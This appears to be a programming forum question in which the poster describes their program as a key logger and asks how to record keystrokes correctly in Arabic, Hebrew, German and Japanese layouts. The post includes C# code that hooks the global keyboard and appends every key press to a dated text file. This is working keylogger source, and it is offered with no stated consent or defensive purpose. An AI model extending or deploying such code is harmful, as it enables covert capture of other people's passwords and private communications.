My sub program is a key logger. It catches all key strikes and saves them like every key logger does. But it does so only in English.
If I press a key (a) in keyboard and the language is in Arabic it should got out a (ش) letter
If I press a key (a) in keyboard and the language is in Hebrew it should got out a (ב) letter
If I press a key (a) in keyboard and the language is in German it should got out a (ä) letter
If I press a key (a) in keyboard and the language is in Japanese it should got out a (だ) letter
i get the current keyboard layout but
How or from where to get the corresponding letters in the foreign language that should be printed out when the key is pressed?
The problem is that the keyboard returns an ASCII or int32 number as return value.
Does anyone have any idea?
GlobalKeyboardHook gHook;
public void gHook_KeyDown(object sender, KeyEventArgs e)
{
pathString = @"C:\myprog\";
pathString_FILE = DateTime.Now.Year.ToString() + "-" + DateTime.Now.Month.ToString() + "-" + DateTime.Now.Day.ToString();
File_IS = pathString + pathString_FILE + "\\keystrike.txt";
string keystrike = "";
keystrike = ((char)e.KeyValue).ToString();
if (Directory.Exists(pathString))
{
using (System.IO.StreamWriter file2 = new System.IO.StreamWriter(@File_IS, true))
{
file2.Write(keystrike);
file2.Close();
}
}
else
{
System.IO.Directory.CreateDirectory(pathString);
}
}